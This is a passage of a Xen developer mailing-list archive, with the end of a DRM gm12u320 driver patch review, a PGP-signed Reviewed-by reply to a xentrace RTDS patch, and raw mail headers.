>   	struct drm_rect rect = { 0, 0, GM12U320_USER_WIDTH, GM12U320_HEIGHT };
> -	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
> +	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
> +	struct drm_plane_state *plane_state = crtc->primary->state;
>   	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(plane_state);
>   
>   	gm12u320->fb_update.draw_status_timeout = FIRST_FRAME_TIMEOUT;
>   	gm12u320_fb_mark_dirty(plane_state->fb, &shadow_plane_state->data[0], &rect);
>   }
>   
> -static void gm12u320_pipe_disable(struct drm_simple_display_pipe *pipe)
> +static void gm12u320_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +						struct drm_atomic_commit *commit)
>   {
> -	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
> +	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
>   
>   	gm12u320_stop_fb_update(gm12u320);
>   }
>   
> -static void gm12u320_pipe_update(struct drm_simple_display_pipe *pipe,
> -				 struct drm_plane_state *old_state)
> +static void gm12u320_plane_helper_atomic_update(struct drm_plane *plane,
> +						struct drm_atomic_commit *commit)
>   {
> -	struct drm_plane_state *state = pipe->plane.state;
> +	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(commit, plane);
> +	struct drm_plane_state *state = plane->state;
>   	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(state);
>   	struct drm_rect rect;
>   
> @@ -586,11 +590,71 @@ static void gm12u320_pipe_update(struct drm_simple_display_pipe *pipe,
>   		gm12u320_fb_mark_dirty(state->fb, &shadow_plane_state->data[0], &rect);
>   }
>   
> -static const struct drm_simple_display_pipe_funcs gm12u320_pipe_funcs = {
> -	.enable	    = gm12u320_pipe_enable,
> -	.disable    = gm12u320_pipe_disable,
> -	.update	    = gm12u320_pipe_update,
> -	DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
> +static const struct drm_plane_funcs gm12u320_plane_funcs = {
> +	.update_plane	= drm_atomic_helper_update_plane,
> +	.disable_plane	= drm_atomic_helper_disable_plane,
> +	.destroy	= drm_plane_cleanup,
> +	DRM_GEM_SHADOW_PLANE_FUNCS,
> +};
> +
> +static int gm12u320_plane_helper_atomic_check(struct drm_plane *plane,
> +					      struct drm_atomic_commit *state)
> +{
> +	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
> +	struct drm_crtc *crtc = plane_state->crtc;
> +	struct drm_crtc_state *crtc_state = NULL;
> +	int ret;
> +
> +	if (crtc)
> +		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +
> +	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
> +						  DRM_PLANE_NO_SCALING,
> +						  DRM_PLANE_NO_SCALING,
> +						  false, false);
> +	return ret;

Interestingly, this patch handled _check_plane_state() correctly.

Best regards
Thomas

> +}
> +
> +static const struct drm_plane_helper_funcs gm12u320_plane_helper_funcs = {
> +	DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
> +	.atomic_check	= gm12u320_plane_helper_atomic_check,
> +	.atomic_update	= gm12u320_plane_helper_atomic_update,
> +};
> +
> +static int gm12u320_crtc_helper_atomic_check(struct drm_crtc *crtc,
> +					     struct drm_atomic_commit *state)
> +{
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +	int ret;
> +
> +	if (!crtc_state->enable)
> +		goto out;
> +
> +	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +	if (ret)
> +		return ret;
> +
> +out:
> +	return drm_atomic_add_affected_planes(state, crtc);
> +}
> +
> +static const struct drm_crtc_helper_funcs gm12u320_crtc_helper_funcs = {
> +	.atomic_check	= gm12u320_crtc_helper_atomic_check,
> +	.atomic_enable	= gm12u320_crtc_helper_atomic_enable,
> +	.atomic_disable	= gm12u320_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_crtc_funcs gm12u320_crtc_funcs = {
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +};
> +
> +static const struct drm_encoder_funcs gm12u320_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
>   };
>   
>   static const uint32_t gm12u320_pipe_formats[] = {
> @@ -677,13 +741,29 @@ static int gm12u320_usb_probe(struct usb_interface *interface,
>   	if (ret)
>   		return ret;
>   
> -	ret = drm_simple_display_pipe_init(&gm12u320->dev,
> -					   &gm12u320->pipe,
> -					   &gm12u320_pipe_funcs,
> -					   gm12u320_pipe_formats,
> -					   ARRAY_SIZE(gm12u320_pipe_formats),
> -					   gm12u320_pipe_modifiers,
> -					   &gm12u320->conn);
> +	ret = drm_universal_plane_init(dev, &gm12u320->plane, 0,
> +				       &gm12u320_plane_funcs,
> +				       gm12u320_pipe_formats,
> +				       ARRAY_SIZE(gm12u320_pipe_formats),
> +				       gm12u320_pipe_modifiers,
> +				       DRM_PLANE_TYPE_PRIMARY, NULL);
> +	if (ret)
> +		return ret;
> +	drm_plane_helper_add(&gm12u320->plane, &gm12u320_plane_helper_funcs);
> +
> +	ret = drm_crtc_init_with_planes(dev, &gm12u320->crtc, &gm12u320->plane, NULL,
> +					&gm12u320_crtc_funcs, NULL);
> +	if (ret)
> +		return ret;
> +	drm_crtc_helper_add(&gm12u320->crtc, &gm12u320_crtc_helper_funcs);
> +
> +	ret = drm_encoder_init(dev, &gm12u320->encoder, &gm12u320_encoder_funcs,
> +			       DRM_MODE_ENCODER_NONE, NULL);
> +	if (ret)
> +		return ret;
> +	gm12u320->encoder.possible_crtcs = drm_crtc_mask(&gm12u320->crtc);
> +
> +	ret = drm_connector_attach_encoder(&gm12u320->conn, &gm12u320->encoder);
>   	if (ret)
>   		return ret;
>   
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Fri Jul 10 09:20:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 09:20:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358961.1612779 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7Pe-0002XR-Qk; Fri, 10 Jul 2026 09:20:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358961.1612779; Fri, 10 Jul 2026 09:20:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7Pe-0002XK-Lx; Fri, 10 Jul 2026 09:20:50 +0000
Received: by outflank-mailman (input) for mailman id 1358961;
 Fri, 10 Jul 2026 09:20:49 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4b54505c000edb5@swg.vates.tech>)
 id 1wi7Pd-0002XE-2v
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:20:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi7Pc-00EczG-8u
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:20:48 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4b54505c000edb5@swg.vates.tech>)
 id 6a50b96a-bab6-0a2a0a5309dd-0a2a45049d38-20
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:20:48 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4b54505c000edb5@swg.vates.tech>)
 id 6a50b96f-b1e5-0a2a45040019-b9ff1c12b2e9-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:20:47 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4b54505c000edb5.001 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 09:20:44 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id C899B8136F;
 Fri, 10 Jul 2026 11:20:43 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=oK01o/ZfPxLD4ougn4TyTn2bkrD5fetXzJisixGigWE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=NezGSZK+MR0Cfsk2TIO1Y+Wt8aboddU4cnKyNENlURPnEfsURCzPt9ljG4s64kUptjhhmDFHM
 Ov9bI2deA2u12DVy4VqXVVDbCWXimVB013Zj0WwupScJDdVwH33XFlqpBKpl9piFzKmTwLY/HMm
 E66+skyZGFQ+pKofL9e9z0V00MnhYNirXyYfRQu6TOHFNix9QlpyMn0m2iqfPXIb5CCuGOQoP66
 7sA3uwHChIHHzoNMIZrKpIFxN9yA165zbAVNZ9+f3Miai1lE5jsKb0XYmkLzpLhnjamEenQubXD
 FBi2xE+4Ipt0v5WlJ972AFxqUJ803JKR3tf13Di7QS8g==
X-Zone-Loop: c4af6aebc701872bce2bd1cb32e92d935a58bb1906b6
x-campaign-type: default
x-transaction-id: f5bc3056-3c7a-445f-a59a-ec13bbac3f96
x-swg-uid: 01-e5d3868c-2261-4c62-977b-d06633475569
X-Mailer: Sweego
Message-ID:
 <1783675244.8631fc262581453bbf619ec5b2062170.19f4b54505c000edb5@vates.tech>
x-swg-bid: 1783675244.8631fc262581453bbf619ec5b2062170.19f4b54505c000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Fri, 10 Jul 2026 11:20:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2] tools/xentrace: decode RTDS priority in repl_budget
 records
To: Ryoji Okamoto <okamoto@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Ryo Takakura <takakura@valinux.co.jp>,
 Hirokazu Takahashi <taka@valinux.co.jp>, Jan Beulich <jbeulich@suse.com>,
 Anthony PERARD <anthony.perard@vates.tech>
References: <20260710064352.343914-1-okamoto@valinux.co.jp>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVG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Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260710064352.343914-1-okamoto@valinux.co.jp>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------PyfPccZKFAnULlQd4uZMoOC0"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783675243963
X-purgate-ID: tlsNG-ebf023/1783675248-7585EFE7-53600BEB/0/0
X-purgate-type: clean
X-purgate-size: 7559

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------PyfPccZKFAnULlQd4uZMoOC0
Content-Type: multipart/mixed; boundary="------------b3VwCc30KZ0nR0ywd00I78v9";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Ryoji Okamoto <okamoto@valinux.co.jp>, xen-devel@lists.xenproject.org
Cc: Ryo Takakura <takakura@valinux.co.jp>,
 Hirokazu Takahashi <taka@valinux.co.jp>, Jan Beulich <jbeulich@suse.com>,
 Anthony PERARD <anthony.perard@vates.tech>
Message-ID: <0137ddf3-ee05-4754-b925-398cca43ee83@vates.tech>
Subject: Re: [PATCH v2] tools/xentrace: decode RTDS priority in repl_budget
 records
References: <20260710064352.343914-1-okamoto@valinux.co.jp>
In-Reply-To: <20260710064352.343914-1-okamoto@valinux.co.jp>

--------------b3VwCc30KZ0nR0ywd00I78v9
Content-Type: multipart/mixed; boundary="------------wmjbsc2kBEpe4ADqegPlI9sD"

--------------wmjbsc2kBEpe4ADqegPlI9sD
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTAvMDcvMjAyNiDDoCAwODo0NywgUnlvamkgT2thbW90byBhIMOpY3JpdMKgOg0KPiBU
aGUgUlREUyByZXBsX2J1ZGdldCB0cmFjZSByZWNvcmQgbm93IGNvbnRhaW5zIHRoZSB2Q1BV
IHByaW9yaXR5DQo+IGxldmVsLiBVcGRhdGUgeGVuYWx5emUgdG8gYWNjb3VudCBmb3IgdGhl
IGFkZGl0aW9uYWwgZmllbGQgYW5kIHByaW50DQo+IGl0IHdoZW4gZHVtcGluZyB0aGUgdHJh
Y2UgZXZlbnQuDQo+IA0KPiBXaXRob3V0IHRoaXMgY2hhbmdlLCB4ZW5hbHl6ZSBpbnRlcnBy
ZXRzIHRoZSByZWNvcmQgdXNpbmcgdGhlIG9sZA0KPiBsYXlvdXQsIGNhdXNpbmcgdGhlIGRl
YWRsaW5lIGFuZCBidWRnZXQgZmllbGRzIHRvIGJlIGRlY29kZWQgZnJvbSB0aGUNCj4gd3Jv
bmcgb2Zmc2V0cy4NCj4gDQ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gICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCB2Y3B1aWQ6MTYsIGRvbWlkOjE2
Ow0KPiArICAgICAgICAgICAgICAgICAgICB1aW50MzJfdCBwcmlvcml0eV9sZXZlbDsNCj4g
ICAgICAgICAgICAgICAgICAgICAgIHVpbnQ2NF90IGN1cl9kbCwgY3VyX2JnOw0KPiAgICAg
ICAgICAgICAgICAgICB9IF9fYXR0cmlidXRlX18oKHBhY2tlZCkpICpyID0gKHR5cGVvZihy
KSlyaS0+ZDsNCj4gICANCj4gICAgICAgICAgICAgICAgICAgcHJpbnRmKCIgJXMgcnRkczpy
ZXBsX2J1ZGdldCBkJXV2JXUsIGRlYWRsaW5lID0gJSJQUkl1NjQiLCAiDQo+IC0gICAgICAg
ICAgICAgICAgICAgICAgICJidWRnZXQgPSAlIlBSSXU2NCJcbiIsIHJpLT5kdW1wX2hlYWRl
ciwNCj4gLSAgICAgICAgICAgICAgICAgICAgICAgci0+ZG9taWQsIHItPnZjcHVpZCwgci0+
Y3VyX2RsLCByLT5jdXJfYmcpOw0KPiArICAgICAgICAgICAgICAgICAgICAgICAiYnVkZ2V0
ID0gJSJQUkl1NjQiLCBwcmlvcml0eSA9ICV1XG4iLCByaS0+ZHVtcF9oZWFkZXIsDQo+ICsg
ICAgICAgICAgICAgICAgICAgICAgIHItPmRvbWlkLCByLT52Y3B1aWQsIHItPmN1cl9kbCwg
ci0+Y3VyX2JnLCByLT5wcmlvcml0eV9sZXZlbCk7DQo+ICAgICAgICAgICAgICAgfQ0KPiAg
ICAgICAgICAgICAgIGJyZWFrOw0KPiAgICAgICAgICAgY2FzZSBUUkNfU0NIRURfQ0xBU1Nf
RVZUKFJURFMsIDUpOiAvKiBTQ0hFRF9UQVNLTEVUICAgICovDQoNClJldmlld2VkLWJ5OiBU
ZWRkeSBBc3RpZSA8dGVkZHkuYXN0aWVAdmF0ZXMudGVjaD4NCg0KVGVkZHkNCg==
--------------wmjbsc2kBEpe4ADqegPlI9sD
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuR
OxdK8G+YHccJY8PvWSq2K2yiae2KGiAv1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50
wvDohN1zUQfFtofOP2xCRsDZi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XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------wmjbsc2kBEpe4ADqegPlI9sD--

--------------b3VwCc30KZ0nR0ywd00I78v9--

--------------PyfPccZKFAnULlQd4uZMoOC0
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpQuWsFAwAAAAAACgkQZg+p0QLLz9CO
fQwAqILrcKjAXbEI0LMoaxGwjHy6rk+olWRolSYqFhVWFCRwaZlq4LZjT5PGdJsbg1/mL6V5VfOl
9YcjU31+k3ns646eiqHEcUEbO1IUz8iAFCIXcWIv22QC3uIOo9uznrCnuHfrTOI1pLzxxZll53tp
n7dUVtIewdkjJ5k8pgGsQbCy4B1QbEcWAFUEQA6qR8BWQ9kKuVXr222IYZR+cCu8rJNvvW+aIyOA
xjg5J4FdaBxyZtmyVkUHogDUh7EopWUIpmLbaV7S2CpM3PI9pVMaj9hFxeRNOa++elxVVAxFvqXR
Doxc0L1rHodD7CbfHOb3BsC/RSMPXSQXWHmDRT9pWRZ7+JCu5U/T73nquF9dARDkCpt0mN3mLpKu
6Vlg2tUdMnqCMkLk/G5vPFtC9N5bL/zYg89GNOM0Zm90fmq6g2OOQyo2myfUqCMHefZPSoiPKicK
0mE42JXAJRZxYiWdvueESAQbIwPnMx1OxIw1Se6/A2HetZP8SM1TjZGgkATU
=2lO+
-----END PGP SIGNATURE-----

--------------PyfPccZKFAnULlQd4uZMoOC0--


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 09:21:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 09:21:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358962.1612787 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7Py-0002pX-59; Fri, 10 Jul 2026 09:21:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358962.1612787; Fri, 10 Jul 2026 09:21:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7Py-0002pQ-1k; Fri, 10 Jul 2026 09:21:10 +0000
Received: by outflank-mailman (input) for mailman id 1358962;
 Fri, 10 Jul 2026 09:21:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wi7Px-0002p4-0V
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:21:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi7Pw-006Ic3-Ci
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:21:08 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a50b979-2eae-0a2a0a5409dd-0a2a450add82-32
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:21:08 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <tzimmermann@suse.de>)
 id 6a50b984-ec7d-0a2a450a0019-c387df8296f8-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:21:08 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id D50E6766B2;
 Fri, 10 Jul 2026 09:21:07 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 4649C779BD;
 Fri, 10 Jul 2026 09:21:07 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id SMP0D4O5UGpRFQAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Fri, 10 Jul 2026 09:21:07 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783675267; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=8qm83c1l0o6q3XoAGYoMaLAsZhnmYdvopXg5ZHUKvsU=;
	b=dILxM/grMnkzT//PGjQgvRPzbTCyIqvBUwpem+/INy1OyOSXlBIsz9gqcx8MxRJrJ6EpZX
	Cpig7crCihNg5sGQ7MQqhcSHYm1taht0DXodMMnHJ4Mb+/tkfV7+s15uwBCTIpFPuCs4Km
	/5539L0LnwIhNbmOea8tBUeTeEyZvHk=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783675267;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=8qm83c1l0o6q3XoAGYoMaLAsZhnmYdvopXg5ZHUKvsU=;
	b=87sBJDQkU9r1dB9EiaLLEplnR13DEPh/Y9k4Hfy/3NsxtVESK1Yh4eBVWlPV4NslXUHVcs
